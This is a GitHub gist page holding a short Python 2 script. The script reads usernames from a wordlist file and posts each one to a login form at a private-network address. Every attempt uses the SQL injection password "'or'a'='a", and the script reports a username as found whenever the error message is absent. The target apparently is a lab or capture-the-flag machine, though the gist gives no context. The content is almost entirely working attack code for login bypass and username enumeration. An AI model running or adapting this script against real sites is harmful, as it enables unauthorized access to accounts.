Skip to content

Instantly share code, notes, and snippets.

@rastating
Created August 2, 2017 22:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rastating/9f039691bf7187dd4d17b92aa5ca7c70 to your computer and use it in GitHub Desktop.
Save rastating/9f039691bf7187dd4d17b92aa5ca7c70 to your computer and use it in GitHub Desktop.
import requests
import sys
with open(sys.argv[1], 'r') as f:
for line in f:
sys.stdout.write("Trying username: %s \r" % line.strip())
sys.stdout.flush()
r = requests.post("http://10.2.0.104/checklogin.php", data={ 'myusername' : line.strip(), 'mypassword' : "'or'a'='a", 'Submit' : 'Login' }, allow_redirects=True)
if r.text.find("Oups, something went wrong") == -1:
print "++ Found user %s ++" % line.strip()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment